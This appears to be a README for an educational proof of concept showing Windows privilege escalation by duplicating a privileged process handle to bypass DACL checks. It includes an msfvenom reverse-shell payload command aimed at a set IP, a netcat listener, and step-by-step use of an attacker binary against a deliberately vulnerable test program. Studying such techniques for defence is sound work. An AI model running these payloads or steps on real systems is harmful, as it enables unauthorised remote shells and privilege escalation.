PoC for Bypassing DACL in Windows using DuplicateHandle.
Read more about this code: Security of Handles in Windows.
This code demonstrates how to create a security hole in your program, potentially leading to privilege escalation.
Note: This is a Proof of Concept (PoC) and is for educational purposes only.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.148 LPORT=443 -f c -b \x00\x0a\x0d
nc -lvvp 443
Copy the generated shellcode into AttackerSource.cpp
and compile it.
unsigned char shellcode[] = "";
Execute this code: youtube Video
- Run
powershell.exe
with Admin privileges. - Run
notepad.exe
with normal user privileges. - Run
vendor.exe
with Admin privileges. (vendor.exe is a vulnerable program made for testing. In the real scenario, it can be any program like openvpn.exe, vmware.exe)
Vendor.exe
Enter the Process name that you want to get Handle (e.g., powershell.exe): powershell.exe
Enter the target Process name (e.g., notepad.exe): notepad.exe
[+] SeDebugPrivilege enabled successfully.
[+] PID of powershell.exe: 8420
[+] Handle of powershell.exe is OK
[*] Run Process Explorer and find handles of notepad.exe, then find a handle named powershell.exe
and write the address of the handle in AttackerPE code...
[*] Sleep(INFINITE). After running AttackerPE.exe, press Ctrl+C to exit.
-
Open procexp64.exe and copy the address of the handle (powershell.exe) from notepad.exe.
-
Run
AttackerPE.exe
with normal user privileges.
AttackerPE.exe <address> <process name>
AttackerPE.exe 0xFFFFCE890F733080 notepad.exe
Duplicating a handle in the source process requires that the source process already has that handle, meaning the DACL was checked once during the handle's Creation/Opening. When duplicating a handle from the source to the destination process, no security checks are performed, It means that even the SID of the destination process is not checked with DACL.
security-briefs-exploring-handle-security-in-windows
process-security-and-access-rights
Windows Internals Books
Windows Kernel Programming Book